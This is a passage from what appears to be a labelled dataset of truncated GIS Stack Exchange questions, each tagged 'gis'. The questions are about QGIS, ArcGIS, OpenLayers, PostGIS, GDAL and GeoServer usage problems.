But when I remove layer and zoom in or out, then do ""Add Layer"", the layer does not ... ",['gis'] "Title: How to drag a point and then use savestrategy in OpenLayers Body: Im trying to use the wfs-t in openayers using the savestrategy. I have created a savestrategy and it works when I for example uses the DrawFeature Control to add a point. A new point is added to the ... ",['gis'] "Title: ArcGIS local server using javascript api still does http gets to services.arcgisonline.com (internet) Body: We have setup a local server hosting the ArcGIS server software (10.1). We installed the ArcGIS JavaScript API on the same local server. Our goal is to supply maps when the client has no internet ... ",['gis'] "Title: How to simplify vector lines into an overlaid grid in QGIS? Body: I'm a relatively new user with GIS software (primarily QGIS) and I'm sure this is probably quite simple but I've been trying to find an answer for ages! I have transportation network data for an area ... ",['gis'] "Title: Select by Attribute on Date field using wildcards? Body: I have a date field within a file geodatabase (10.1). An example of a value in this field: 19/11/2012 08:49:56 I want to select all rows where the time is between 9pm to 11pm AND 6am to 9am. I ... ",['gis'] "Title: Can I use QGIS with Qt5? Body: I want to use QGIS with Qt 5.But i don't know the exact relationship between Qt and QGIS.Will there some problems if i use qgis with qt5 or it will not depand on it... ",['gis'] "Title: How to convert drawn vector feature from EPSG:900913 to EPSG:4326 Body: My script allows you to drawn shapes on an openlayers map, and then to get the WKT information from that shape, except the returned coordinates are in 900913 and i need them to be in lat/lon. thanks ",['gis'] "Title: Trigger a python script to run after a row is added to the feature class Body: I have a Python script which runs on a SDE feature class daily (as a scheduled task). I would actually like this script to run whenever a new row is added to the feature class (data is captured in the ... ",['gis'] "Title: How to get the center and radius of the feature in openlayers Body: I created a control to draw circle and rect to the map: var supportControls = { darwpoint : new OpenLayers.Control.DrawFeature(this.drawLayer, OpenLayers.Handler.Point), ... ",['gis'] "Title: Libraries to navigate and choose path based on congestion level? Body: I'm trying to develop a system to get best path to travel user based on road traffic (congestion level). Functionality of the system should be provide least congested path for traveler given ... ",['gis'] "Title: Arcpy: Copying targeted row features to new shapefile Body: I'm trying to copy specific attribute table rows from one shapefile to a new shapefile that will contain only the specified rows in its attribute table, that is, if a field GDP_TOP10 = 1. I'm using ... ",['gis'] "Title: layer from sqlserver database table Body: I'm new in ArcGIS. Is it possible to create a layer from a SqlServer table instead of a shapefile? in other words, is it possible to store layer data in a table in Sql Sever instead of a shapfile? ... ",['gis'] "Title: Unable to install QGIS 1.8 on Ubuntu [duplicate] Body: Can someone please walk me through installing qgis on Ubuntu 13.04. I keep getting 1.7 no matter what I do and I would like 1.8 if possible. I am a new Linux user. This was addressed in a previous ... ",['gis'] "Title: Control view of Multi polygon in Google map Body: We have multipolygon WKT. We have no issue to draw all of them in Google map. Below are the codes. The only issue is that we want only the first polygon to be visible but the rest to transparent. How ... ",['gis'] "Title: Select features within a country or bounding box effectively using PostGIS Body: I imported the planet OSM file into a PostgreSQL 9.2/PostGIS 1.5 server using osm2pgsql. I now want to select certain map features which lie within the bounding box formed by a countries borders, e.g. ... ",['gis'] "Title: Python: Arcpy: Adding data to a shapefile Body: Complete arcpy beginner here... I have a shapefile with the fields CNTRY_NAME and GDP_HEAD. I have a list in Python gdppop2002 = [['Country1, 234.1232341], [Country2, 23.2341234],...etc...] I'm ... ",['gis'] "Title: Can't convert geometry from Dgn file to Shape file? Body: I am using below codes to try convert geometry from a Dgn file to Shape file. But, I can't exit the Feature reading loop. Are there anyone know why and how to fix it ? Please download the dgn file ... ",['gis'] "Title: How to transfer absolute node position to latitude and longitude? [duplicate] Body: I am new to gis and also a newbie using QGIS. I have got a Layer with one shape. I extracted the nodes from the shape. Now I have got the absolute X and Y value of my Layer in the attribute table. ... ",['gis'] "Title: For each polygon, return yes/no value if it intersects another layer Body: I have a polygon grid overlaying several other polygon vectors. I wish to visit each polygon in the grid and ask yes/no if each of these layers fall within the grid cell or not. I can do this easily ... ",['gis'] "Title: How to store data from ArcGIS layer in SQL Server? Body: I'm new to ArcGIS and I want to know if I can store data from a layer to a SQL Server table and if we can do this, then how? I have already made a connection between ArcGIS and SQL Server. ",['gis'] "Title: How can I combine these two commands? (Get a clipped raster ASC-II file from PostGIS)? Body: My objective is to clip a polygon from PostGIS raster table, and then save this raster (draw polygon shape) as an ASC-II in a folder. What I did now are 2 steps. 1st Step: Insert the clipped raster ... ",['gis'] "Title: Replicate Import Symbology Matching Dialog in ArcObjects? Body: In Arcmap I can render a layer with same symbolgy applied to different fields by way of re-importing the .lyr file and choosing a Value Field. How can I replicate this functionality in ArcObjects? ",['gis'] "Title: Geocoding API Comparison Body: Is there a good updated source for comparing existing Geocoding APIs (i.e. Google, Mapquest) and their features? I'm really interested in their language support as well. For example, Google has ... ",['gis'] "Title: How can I calculate raster cell area for upslope contributing area Body: I am new to spatial analysis, and urgently trying to follow this tutorial to generate a topographic wetness index for my area of interest: ... ",['gis'] "Title: How do I convert from SLD to Carto CSS? Body: I have a bunch of layers and corresponding SLD's running a WMS service. I was exploring the possibility of shifting to a TileMill's tile based TMS service. For this, I would like if it were possible ... ",['gis'] "Title: QGIS - Android, loading a .tif file Body: I have a .tif file I would like to use as my base map on the Android version of QGIS. However, when I try and load it as a raster layer, it states that this is not a correct raster source. Is there a ... ",['gis'] "Title: How can I convert a ascii file to geotiff using Python? Body: I have a ascii raster format file. For example: ncols 480 nrows 450 xllcorner 378923 yllcorner 4072345 cellsize 30 nodata_value -32768 43 2 45 7 3 56 2 5 23 65 34 6 32 54 57 34 2 2 54 6 35 45 65 34 ... ",['gis'] "Title: Strange problems with project crashes and bad:alloc in QGIS 1.8 linux Body: during last days I had to prepare some maps from field data. I mainly worked with point shapefiles and openlayers map background. After some time I always noticed some problem like just partial ... ",['gis'] "Title: Getting Subtypes of feature Classes using arc Object Java Body: I am developing a tool to demonstrate subtypes of feature classes in a geodatabase. My code works until printing feature classes. Can anybody assist me by providing a right way to print subtypes of ... ",['gis'] "Title: What parameters are useful for an Albers equal area projection map of the world Body: I have a data set which contains global points. I would like to convert from long/lat to Albers equal area. However, the http://spatialreference.org proj4 world parameter values are actually for the ... ",['gis'] "Title: Compiling PostGIS fails when it can't find GDALAllRegister Body: I'm trying to compile the latest PostGIS 2.1.0 beta and the configure process fails at: checking GDAL version... 1.10.0 checking for OGR enabled... yes checking gdal.h usability... yes checking ... ",['gis'] "Title: How to clear attribute columns from a Shapefile? Body: I want to clear all columns from a SHP. Only need geometry of features. I use QGIS and Sextante with grass and saga. Is there any tool for this job... ",['gis'] "Title: How can I use ArcGIS 10.1 to find a geodesic equidistant point defined by three points? Body: For example, I have coordinates for three base points on a coastline and I need to find the coordinates of the point off the coast which is equidistant from all three. It’s a simple exercise in ... ",['gis'] "Title: How to use Geokettle to load shapefiles into oracle spatial Body: I'm looking for an example how to load a shapefile from the file system into an oracle spatial database. What I have so far is: I load the shapefile with the 'Shapefile File input' step I use the ... ",['gis'] "Title: No legend in QGis Web Client Body: I have a QGIS Web Client working, but it lacks a legend and metadata panel as is shown here What do I need to have the referred legend panel? ",['gis'] "Title: What is the relation between geotools and hibernate-spatial ( differences and similarities) Body: I know that hibernate-sapatial is supposed to be an abstraction for the db . And from what i understand there is some kind of possibillity to do that with geotools? ( to what extent i do not know). ... ",['gis'] "Title: Erdas hot keys to toggle layers Body: Is there a way to toggle image layers with the use of a hotkey? I prefer to flicker layers for change detection with hot keys ",['gis'] "Title: converting UTM - Decimal Degrees with javaScript or using a web service Body: I am creating a wildlife survey form that has a field where users enter location. Users will be able to enter location using a map (i.e. draggable pushpin) or by manually entering lat/lng. My clients ... ",['gis'] "Title: GeoDjango and Spatial Indexes Body: I have three questions about spatial indexes management in GeoDjango, and I cant find the answers in the doc. First, I know GeoDjango creates a spatial_index for a geometry field by default when a ... ",['gis'] "Title: Problem viewing SQL 2008 “Date” field Body: I am using ArcMap Basic 10.1 SP1 and I'm connected to a permitting database stored in a SQL Server 2008 R2 database. I am trying to pull the tabular data over into my ArcGIS Desktop Project so that I ... ",['gis'] "Title: Catchment area using Arcmap Body: My name is Steven, a Geography student and I am trying to create a map about hypermarkets catchment area in a city - the potential customers they might have. Can you help me with some tutorials, ... ",['gis'] "Title: WMS Requests - does 1 request = 1 response tile Body: I'm using Openlayer and GeoServer when I pan or zoom the map - OpenLayers kicks of a series of WMS requests. Does 1 WMS request = 1 tile in response. I'd have thought if you sent a WMS request with ... ",['gis'] "Title: KML attribute data on onload of html page using openlayers as alerts [duplicate] Body: This is kml: click here to get kml The kml contains us states data and its boundaries.. What I need is add colors to the kml based on the attribute data.. For suppose Usstate Id < 30--- green, ... ",['gis'] "Title: Manually edit cell value in DEM in Arcmap10? Body: Is there any chance that I could manually pick a group of cell in DEM, then edit the value of them in Arcmap 10? I know about the Aris Grid Editor for Arcmap but it requires licence and it's too ... ",['gis'] "Title: Why does copy convert my Tiff raster value range? Body: Recently I have worked with some raster dataset. And I found there are different kind of raster dataset. Till now I have worked with grid type raster dataset and my add-in works fine with this type. ... ",['gis'] "Title: How to find the polygon inside which a point lies? Body: I have a layer with polygonal features. Each feature has attributes and values. I also have a list of co-ordinates and I would like to know which feature (or polygon) the co-ordinates lie in. Could ... ",['gis'] "Title: How to Create a Note System inside QGIS Body: I need to make something similar to a note system, where i can create a feature that will give me something similar to a note system (or a square in the map linked to a feature that will only show ... ",['gis'] "Title: Add MicroStation dgn to ArcGIS/ArcCatalog 10.1 Body: I'm an iOS programmer but new to using ArcGIS 10.1. I'm having a problem loading my MicroStation dgn file to ArcCatalog. I've connected the folder containing my MicroStation V8i roadway design dgn to ... ",['gis'] "Title: Incremental “auto save” in ArcMap edit session Body: Is there any way to add automatic incremental saving to ArcMap 10.1 editing sessions? I found this script for 9.x but it doesn't seem to work with the newer versions. I'm looking for a script or add ... ",['gis'] "Title: Stripping spatial reference Body: I am creating an exercise for remote sensing students and would like to take an existing raster and remove the spatial reference from the file so that the students can practice using another image to ... ",['gis'] "Title: Why new feature disappears when editing polygon? Body: I try to create internal polygon within existing polygon. After I created a ring, I add a new feature inside the ring. Suddenly, this new feature disappears. I confirmed that this feature went to the ... ",['gis'] "Title: How to write a QGIS regex for rounding to two places after the decimal point? Body: In QGIS field-calculator round() is not working in QGIS 1.8 so I try to do the following with a regex: I'd like to keep the first two places after the decimal point - where do I go wrong? ... ",['gis'] "Title: MGRS square identifier to polygon Body: I'm looking for a function/formula/library that basically takes a MGRS square identifier such as 4QFJ16 and returns me the coordinates of the 4 corners of this polygon in some simple form such as ... ",['gis'] "Title: How to export only one band from an image using GDAL? Body: I have a multi-band GeoTiff, and I want to extract only the first band and write a new image consisting of only that band. How do I do this using GDAL? ",['gis'] "Title: How to access layer attributes using grass network tools (v.net.iso)? Body: I had a quick look for a similar question, sorry if this is a duplicate. I am using GRASS 6.4.3 on windows - osgeo4w version I ran v.net.iso to split my road network by cost however when I try to ... ",['gis'] "Title: How to combine more iterations of a for loop to bands of a single raster? Body: My model consists of a for loop, where the original raster is hillshaded from different angles. I want to combine the resulting images to a single multiband image. What I already tried was to put the ... ",['gis'] "Title: How to use a feature set as an output parameter in a Python Toolbox? Body: I'm having trouble setting a ""Feature Set"" output parameter from a .pyt .. I'm using ArcGIS 10.1 SP1. Here’s a short script that can be invoked either from a classic toolbox (thru the main() ... ",['gis'] "Title: ST_Distance is not delivering right results Body: I want to calculate the distance between lat/lon points. I tried the following queries: Select ST_DISTANCE(ST_GeomFromText('POINT(-73.97923 40.75571)', 4326), ST_GeomFromText('POINT(-73.974509 ... ",['gis'] "Title: Rasterize vector layers with different extents into identical raster grids with QGIS Body: I am working on a quite simple spatial potential analysis using QGIS. I have some ArcGIS knowledge, but I am new to QGIS. My task is to identify the functional inner city of a region based on ... ",['gis'] "Title: 3D Interpolation using point cloud in GRASS GIS Body: I've imported a set of 3D points (z,y,z) into GRASS GIS. I'm having trouble: a) visualising my dataset in 3D using nviz or the standard data viewer (I can only get a 2D plan view of my data) and, b) ... ",['gis'] "Title: how to rename the band-names of a layer stack? Body: I created a layer stack of 20 images (all GTiff-files) using the gdal_merge tool in QGIS, available at: raster > miscellaneous > merge The result is a GTiff layer stack of the 20 images, but ... ",['gis'] "Title: How to merge multiple ADF files to a single shape file? Body: I have a set of adf file which use the same structure. How can I merge all ADF to shp file? Does the ogr2ogr command can help in this case? ",['gis'] "Title: What are the challenges to implementing a version control system for geospatial data? Body: Not that I am in any immediate need of a right answer here, but I've lately seen some efforts to introduce the concept of ""(distributed) version control systems"" for geographic data. Some examples ... ",['gis'] "Title: Software program (or spreadsheet calculations) to find Borehole Deviation? Body: I was given a bunch of surveyed borehole data (azimuth, depth, dip, geology, etc) and am required to calculate a deviation variable. Besides querying the data and averaging the surveyed borehole ... ",['gis'] "Title: ArcGIS desktop extension and prevent attribute editing Body: I am building an ArcGIS extension on desktop 10.1 (not add-in, but old extension). I built some forms to edit some feature class, where I implement business rules. I want to force the user to edit the ... ",['gis'] "Title: Convert shapes in CSV to shape file Body: I have a csv file in which one of the fields contains a ""shape"" polygon in ESRI format. The other fields are textual, numerical, ext. How do I go about creating a layer from only the polygons in the ... ",['gis'] "Title: Loading an extension-related mxd in ArcMap by double clicking it Body: I am currently working in a company offering GIS solutions, and using ArcGIS tools on a daily basis. One of their main products is an ArcMap extension, which I am assigned on to correct some remaining ... ",['gis'] "Title: How to replace data in parts of raster A with the equivalent data in raster B? [duplicate] Body: I have the following problem: I am currently working with Landsat 5 imagery from the tropics including quiet high cloud cover. I have classified raster images with the different land use categories I ... ",['gis'] "Title: GeoServer and OpenLayers in production - Securing WMS calls? Body: I've a mapping site where users have to login in with username and password. Once logged in the user gets a map of their data using WMS and WFS to display and edit data. This data is served using ... ",['gis'] "Title: How to change/add keyboard shortcuts in Arcmap? Body: How can I change or add keyboard shortcuts in Arcmap? I have tried Customize --> Customize mode --> Commands --> Keyboard. However, this does not seem to actually work. I can add shortcuts and link ... ",['gis'] "Title: How to set view to distinct zoom scale Body: I want to zoom to a distinct longitude and latitude with a specific zoom scale. I am using the following code function zoomToTrackPT(){ map.setView(new L.LatLng(23.5564, 90.2654), 18); }; ... ",['gis'] "Title: returned error of postgis manage for loading data Body: I installing QGis 1.8.0.-lisboa on windows 7. Using postgis manage for loading data (shp file) to postgis. I have returned error: Something's wrong: ['""shp2pgsql"" \xad\xa5 ... ",['gis'] "Title: maxScale or minScale dont working in vector (from wfs) layer Body: var options = { projection: ""EPSG:900913"", displayProjection: ""EPSG:4326"", units: 'm' }; map = new OpenLayers.Map('map', options); ilceSinir = new ... ",['gis'] "Title: GetFeatureInfo on ArcGIS Web Service Body: I am attempting to call do a GetFeatureInfo request on it a counties layer which is stored withing ArcSDE and hosted via ArcGIS Server 10. The request looks like WMS GetFeatureInfo Request The ... ",['gis'] "Title: getting a merged color satellite image from red,green, blue, pan, and nir tifs Body: I am using Tiff images from Digital Globe and trying to get a color satellite image. I have merged the red, green, blue, pan and nir tiff files into one file. I then changed the band properties to a ... ",['gis'] "Title: Technique for splitting raster image into tiles Body: I have written a standalone application which renders a globe similar to GoogleEarth/WorldWind which is currently able to display raster imagery from WMS servers. The native geodesy of this ... ",['gis'] "Title: Problem about converting raster to polyline and calculating total length Body: I have raster file of line segment. I need to convert it to line and get the distance of that line. How can i do using Python and ArcGIS 10? I have tried with GIS tools Convert Raster to Polyline but ... ",['gis'] "Title: Help needed with the use of FARSITE Body: Is there anyone who has worked with FARSITE? I can build some of the files needed, such as slope and aspect, but not sure where to start when it comes to building files for 'canopy', 'fuels', etc. I ... ",['gis'] "Title: GIS Maximum area coverage problem Body: I want to find optimum antenna location for an area. Every antenna can cover an circular area. These areas diameter is 750meter. So how can i find minimum number of antennas and locations. NOTE: I use ... ",['gis'] "Title: How to rescale vector data? [duplicate] Body: I've got some old maps in dxf format. QGIS imports them correctly but with a nonsense scale. It can export the data it gets to shp of course. Does anyone know how to rescale vector data so it can be ... ",['gis'] "Title: Pgrouting - Networking Body: my problem is regarding routing. I have a network based on bicycle graph links (SRID: 4326), with bidirected and directed ways. I want to give the user the functionality to draw a route (shortest ... ",['gis'] "Title: Creating 3D lines from 3D points Body: Can you tell me the procedure in ArcGIS 9.3 to create 3D lines which connect the 3D points using the elevation of the points. For example, if pointA has 20 elevation and pointB has 30, then the line ... ",['gis'] "Title: Openlayers Vector Feature label not Visible in IE 8 but visible in Google Chrome…? Body: I have created a WEB MAP using Openlayers-Geoserver-Postgis.... The Label of one of the Vector feature layer is not visible in Internet Explorer 8(IE 8) ,but clearly visible in Google Chrome ... ",['gis'] "Title: Geoserver, OpenLayers so slow for WFS! Why? Body: I am displaying 100 000 points in a layer via WFS protocol. I need about 5 minutes. However, 100 000 does not seems so much... My points are stored in PostGIS, in a column defined this way : ... ",['gis'] "Title: OGR Projection transformation error Body: I am trying to convert shapefile that was created by FME in EPSG:900913 to EPSG:3857 (I know its the same definition) with OGR in a script. datasource = ogr.Open(os.path.join(dirname,shapefileName)) ... ",['gis'] "Title: What's regular blocking arrangement ? (GDAL) Body: I am using GDAL tools to retrieve PostGiS raster. The code(command line) I am using is as follows : gdal_translate -of AAIGrid ""PG:host=localhost dbname='database' user='postgres' password='admin' ... ",['gis'] "Title: Is there any way to spead up the Properties - Change Symbol and Symbol Selector - Edit Symbol actions? Body: Is there any way to tweak ArcMap to make the loading of the Symbol Selector and Symbol Editor dialogs faster? I have a lot of symbols in my style files and I want to keep it that way since it is ... ",['gis'] "Title: Trigger to fill attributes (data, client ip) in table for each new objects, PostGIS Body: In PostgreSQL/PostGIS database stores shapefiles. Client users software - QGIS. Please help me write PostgreSQL/PostGIS trigger, which for each newly added/updated feature in layer added 'time create' ... ",['gis'] "Title: How to scale/reduce my polygon without changing the central lat & long? Body: I am writing a VBA code to resize my polygon, I get a input as vector points(Shape file). The code below resizes it as according to my scale factor but my central latitude and longitude are also ... ",['gis'] "Title: How to set up Python 2.7 to work in both QGIS and ArcGIS? Body: I have both ArcGIS 10.1 and QGIS 1.8 installed and both include Python 2.7 in slightly different setups and in different folders (c:\Python27\ArcGIS10.1\ and c:\Program Files (x86)\Quantum GIS ... ",['gis'] "Title: Zooming into a particular polygon Body: I am getting the polygon id by doing identifyParams.geometry = evt.mapPoint; identifyParams.mapExtent = map.extent; identifyTask.execute(identifyParams, function(result) { var i; var ... ",['gis'] "Title: Pyscripter hangs on spatial join? Body: I've got a script which loops through a series of FC layers (tracker points). Using a FOR loop, they're reprojected then joined to a streets layer. Sometimes it works fine, then other times it never ... ",['gis'] "Title: PostGIS, distance between two users Body: I have a simple table (location_test) with three column (name, geom , jid). geom is a geometry column with SRID 27700. I set the user's geometry position with: UPDATE location_test SET geom = ... ",['gis'] "Title: Probleme with WFS protocol in OpenLayers Body: Sorry for disturbing. I know my problem look common, but I really don't know what to make. Here is my code for getting a WMS layer in OpenLayers from Geoserver. var wfs2 = new ... ",['gis'] "Title: Fill up polygons with field value Body: I have now defined my renderer with a color map I want to fill it with a value in the end field of my shape file's attribute table with python how to do it?? I use QGIS 1.8.0 with python 2.7.3 ",['gis'] "Title: How to set a spatial filter with Python/GDAL? Body: Is there a way with GDAL (Python) to set a spatial filter (bounding-box) on a raster before I process it? I want to read it as an array. BandReadAsArray(band, xoff=0, yoff=0, win_xsize=None, ... ",['gis'] "Title: How to split single lines to represent two-way streets? Body: I am working on a project using city road data. The data has every road in the city visualized as lines and with directional data stored in the attribute table (one-way to-from, one-way from-to, and ... ",['gis'] "Title: How to check via Arcpy if ArcMap is currently in an edit session or not? Body: I've created a Python add-in button that helps speed up my coworkers workflow by copying one feature class attribute to another. It uses the arcpy.UpdateCursor function to update a row in the target ... ",['gis'] "Title: connexion to postgres and update attribute table of a shapfile in QGIS [duplicate] Body: I have created a plugin with ""plugin builder"" , now I search to connect my plugin to postgres. I have a shapfile and I try to find a script in Python that can use to assign a SQL query to my table ... ",['gis'] "Title: Adding attachments to features Body: Does anyone have an elegant solution to adding/viewing attachments, like a table/photos for example from within ArcMap using only the ArcGIS basic license level? Or any suggestions? I'm looking for ... ",['gis'] "Title: OD cost matrix Arcpy Body: I'm trying to create an OD cost matrix python script. I'm doing an OD cost matrix analysis. I'll find out the average time with patients to hospitals over 10 years. When I do this analysis, the ... ",['gis'] "Title: ArcObjects Geoprocessing Failures Body: I am working on launching the GenerateNearTable using the ArcObjects Assembly method. I have the advanced license (10.1), so the tool is available. The code to launch geoprocessing is: Private ... ",['gis'] "Title: GDAL Plugin with a different version of GDAL aready built into QGIS Body: My qgis windows version is 1.8.0 Lisboa and use the gdaltools in version1.9.2. I want to use the plugin NetCDFBrowser, but this plugin need the gdal 1.10. I install 1.10 stand-alone gdal find here ... ",['gis'] "Title: How does QGIS calculate the area of a polygon? Body: I am working on a project that requires the calculation of the area of a polygon by two different methods. I need to know what algorithm QGIS uses to calculate the area of a polygon. I know ESRI ... ",['gis'] "Title: Getting started with gdal/ogr Body: I found some batch code using ogr2ogr in order to convert and reproject vector layers. The difficulty for me is to know what to install and which gdal commandline should I use, and how to configure ... ",['gis'] "Title: GeoServer Web Admin Interface: 404 error Body: I'm working through the OpenGeo workshop and I'm stuck with setting up a GeoServer. When I try to access the Web Admin Interface localhost:8080/geoserver/, Tomcat reports a ""HTTP 404 Status"" error ... ",['gis'] "Title: ArcGIS Server 9.3 - Javascript API - Selecting Feature Problem Body: I have ArcGIS Server 9.3 , I'm trying to use the JS API , I successfully displayed the map , and also i could locate a feature based on ParcelID value , zoomed into this parcel , the problem is i ... ",['gis'] "Title: “could not get any sources: no image returned from source WMS” error in mapproxy demo Body: I am trying to connect my mapserver to MapProxy. First part of the map file is shown below MAP FONTSET ""fonts.lst"" IMAGETYPE png MAXSIZE 4000 SIZE 800 800 EXTENT -20000000 -20000000 20000000 20000000 ... ",['gis'] "Title: What do we have to set in mapfile´s data parameter for SOS? Body: We are trying to run the MapServer SOS example at this link. However, we don´t know how to configure the data parameter in the mapfile. What do we have to set in mapfile´s data parameter? We need to ... ",['gis'] "Title: Picture Labels with leader line from point without annotation? Body: The closest thing I have is using a line call out in the text background, then placing the picture in the line call out border. But the picture tiles throughout. Is what I am trying to do even ... ",['gis'] "Title: EPSG 4267 (NAD27) boundaries Body: I need the bounding box coordinates for NAD27 (EPSG/SRID 4267) to check the user's coordinate input. http://spatialreference.org/ref/epsg/4267/ shows the area that doesn't cover North America at ... ",['gis'] "Title: How to add layer with arcpy and retain description and other layer properties? Body: I have multiple feature classes in a geodatabase, each feature class has metadata including a Description, Credits, and other information. If I use the 'Add Data' button in ArcMap 10.1 to add one of ... ",['gis'] "Title: using the “freehand” construction tool Body: I am drawing hydro features with the freehand tool. Does anyone know how to delete vertices (i.e. back up) in ArcMap 10 while drawing with freehand in the construction tools? I was just curious if ... ",['gis'] "Title: How to snap Vector Layer projection to Raster layer projection in QGIS? Body: I have raster in correct projection. I used ShapeFiles, and marked objects(manually), but i found out that my vector layers have different projection, so they have different size and position. Is ... ",['gis'] "Title: Fixing “spatial index grid size is invalid” without Recalculate button Body: I've got a python script that is connecting a squence of points to make lines, and putting them into a feature class (based on answers to my previous question). It works wonderfully on a small area ... ",['gis'] "Title: Free application or web service for reverse geocoding Body: I'm looking for a fast and free web service or local application (this it would be better, a local service with database of street, numbers, city, etc.) for reverse geocoding. I could use google but ... ",['gis'] "Title: How to convert Rotated Polar grid raster to Non Rotated Polar Raster? [duplicate] Body: I have a RCM data which is in rotated Polar system , I want it to convert into non-rotated polar RCM. How can i do this things ? Please give some guidance ",['gis'] "Title: How to compare differences in two shapefiles? [duplicate] Body: I am a new user to Arcmap 10. I've been trying to figure out how to compare two polygon shapefiles. I need to figure out what the difference is from 2007 - 2013 (increase/decrease) in a couple of ... ",['gis'] "Title: Pdf layers to Geodatabase Body: We had a drawing as a PDF , with Geolocation and layer information available. We tried to export that as an Xml ( current tree) option in Adode reader and tried to import it in a new File geodatabase. ... ",['gis'] "Title: Can ArcGIS Desktop or ArcPad use the Windows Location Provider? Body: Are there any plans for ArcGIS Desktop or ArcMap to get the GPS Coordinates via the 'Windows Location Provider' in Windows 7/8 instead of reading a virtual com port? ",['gis'] "Title: Determine 3 and 6 minute fire response times Body: I'm expecting to get an Excel file with data on previous fire and emergency response times. I was told it will have incident addresses and the response time for each incident (~ 12K incidents). I also ... ",['gis'] "Title: Rounded Grid - Is it possible? Body: I was wondering if it's possible to make a layout, with rounded measured grids, in zoom maps. I'm using ArcMap and rounding the corners of data frame on layout mode to give a magnifying glass effect ... ",['gis'] "Title: How to create scattered points in polygon Body: I have few polygons and I want to create few scattered well distributed point within the polygon. I am used to with ArcGIS and QGIS platform. How can I make it? ",['gis'] "Title: ArcMap 10.1 - Tabulate Area tool “doubling up” for Overlapping Buffer Zones Body: This question is related to a previous question I asked: Raster Version of Spatial Join (one to many) I used the Tabulate Area tool to crosstabulate values between an overlapping ""buffrast"" raster ... ",['gis'] "Title: ArcObjects (VB.Net) Python Integration with object passing? Body: This link illustrates one method for calling python scripts from within an ArcObjects environment. The results of these tasks are returned as strings. I wonder if it is possible to call a python ... ",['gis'] "Title: How do I import UK Environment Agency Lidar data (.asc) into Quantum GIS Body: I have downloaded Lidar data from the UK Environment Agency as ESRI ASCII files but being a complete novice as far as GIS is concerned I do not know how to view them. Quantum GIS was recommended to me ... ",['gis'] "Title: Geodjango InspectDB Fails on Postgis Raster_Columns View Body: I am trying to generate models for an existing Postgresql database using the Django InspectDB command. Models are produced but a failure occurs on the raster_columns view. The error is: Exception: ... ",['gis'] "Title: Change ArcGIS License using Script Body: I am using ArcGIS Desktop 10 and we have three different servers for accessing concurrent use licenses of ArcView, ArcEditor and ArcInfo. So, whenever I need to switch to other product, I have close ... ",['gis'] "Title: Apply styles to WMS layer Body: I am working with OpenLayers (and GeoServer) and I am showing a WMS layer with countries in a map. Each object (country) in the layer has an attribute called NAME (the name of the country). I created ... ",['gis'] "Title: How to change value of an Line edit dynamically Body: I create a form in QT4 and compile with pyuic4. it create an form.py I want to modify the value of the line edit dynamiclly with code. I put this code in the form.py but never happen: ... ",['gis'] "Title: In MapBasic, how do I display a dialog box as the result of a menu item being clicked on? Body: I have created a menu item in MapBasic. I need to call a procedure to open a dialog box as the result of one of the menu items being selected. I believe I am having trouble declaring the sub ... ",['gis'] "Title: polygon/raster intersection artifacts Body: I'm intesecting a polygon with a raster using PostGIS > 2.0. The outer boundary of the polygon is formed by the convex hull of polygons (building outlines plus safety margin) and the inner rings are ... ",['gis'] "Title: optimize performance wfs strategy refresh Body: I use postgresql, geoserver and openlayers for my gis development. I try to develop simple gis project. I have only one wfs layer on google maps with strategy refresh which interval one seconds. ... ",['gis'] "Title: Is OpenGeo Centos6 Repository Broken : Dashboard Geowebcache… missing [duplicate] Body: Hy, Sorry if my french level of english is not fullfilling the requirements of this post. So here is my question : Is it normal for an installation thanks to the official ressource here that the ... ",['gis'] "Title: Selecting an item with the mouse in MapBasic Body: This may seem relatively simple, but I'm pretty confused. I have written a mapbasic tool that does things to the table 'Selection' depending on user choices in a popup menu, but currently you need to ... ",['gis'] "Title: GeoServer prompt for realm when doc root protected Body: I have GeoServer mapped to mydomain.com/geoserver In mydomain.com I have html files and php files. I have password protected the directory for these. With the password protection in place, I am ... ",['gis'] "Title: Can you successfully migrate arcgis 10.0 mxd to 10.1 or are there steps to follow? Body: I have upgraded from 10.0 to arcgis 10.1. I am trying to open an 10.0 mxd file in 10.1 and it appears to have lost any additions I had made to the table plus its' x and y coordinates. Can you ... ",['gis'] "Title: WMS 1.3.0 from ArcGIS Server not work in GeoExt (OpenGeo Suite 3.0.2) Body: I used geoext sample app as in the example. added a new source and layers. but does not work: warn message ""Non-existing source 'rs' referenced in layer config"". but the response from the server ... ",['gis'] "Title: How to create a topologically correct dataset in PostGIS (with GRASS)? Body: I have shapefiles which I have loaded in postgis and now i am trying to use geometric function in postgis like ST_intersect and they fail because the data is not topological correct. I have tried to ... ",['gis'] "Title: WMSgetFeatureInfo ProxyHost Body: Does WMSGetFeatureInfo need a proxyhost to allow remote server accessing the data? I use ProxyHost to allow WFS requests, but seems its not working with WMSGetFeatureInfo. the local machines retrieves ... ",['gis'] "Title: How can GIS be used in disaster management? Body: I know that mapping plays a significant role in dealing with natural disasters, but I'm not familiar with how that works as my background is primarily web development. I'm wondering if there is any ... ",['gis'] "Title: Which GeoTIFF tags tell me what I want to know? Body: I'm reading some GeoTIFF files into my app using libgeotiff. After the model of the listgeo program that comes with libgeotiff, I want to extract the extents (corners) of the GeoTIFF so I can position ... ",['gis'] "Title: Have to use OpenLayers 2.10, can I force the browser to cache the map tiles and re-use them? Body: OpenLayers introduced client side caching in Version 2.11 and 2.12, along side their performance improvements for other map functions. Needless to say, these functions are intertwined and rely on each ... ",['gis'] "Title: How to Join Attributes by Location in QGIS 1.8.0 Body: I have a points layer with site attributes and a polygon layer with region attributes. I'd like to join the names of the regions to the point site locations using QGIS 1.8.0., on Windows XP. ... ",['gis'] "Title: How to make interpolation with SLD? Body: I want to make color interpolation with SLD on Geoserver. Interpolation works fine. But i need to know min, middle and max property values to make it correct. So i want to know this values, i says: ... ",['gis'] "Title: Python to get ids from shp dont return all records Body: I have some Python code to get the ids and georeference from a shapefile: canvas = qgis.utils.iface.mapCanvas() allLayers = canvas.layers() nos = QgsFeature() for i in allLayers: if ... ",['gis'] "Title: How to automatically reduce polygon size? Body: I am working with two polygon layers (counties & states) which I will 'intersect' to find which counties are within which states. Due to data inaccuracies I have to change all county polygons and ... ",['gis'] "Title: Calculating distance and/or time taken to travel from population centre to nearest hospital in QGIS Body: I'm trying to find out how long it would take to travel by car from each of the Lower Layer Super Output Areas (LSOA) in Norfolk, England to the nearest Hospital (or just what the distance is and I ... ",['gis'] "Title: Esri Android Basemap with kml Body: I created a kml using the kmllayer. When I set the map with a basemap and use the addLayer() method the kml is not shown. I can see the kml layer without a basemap. Can someone post sample code on ... ",['gis'] "Title: How to display data from a feature? Body: I want to display data based on the feature currently 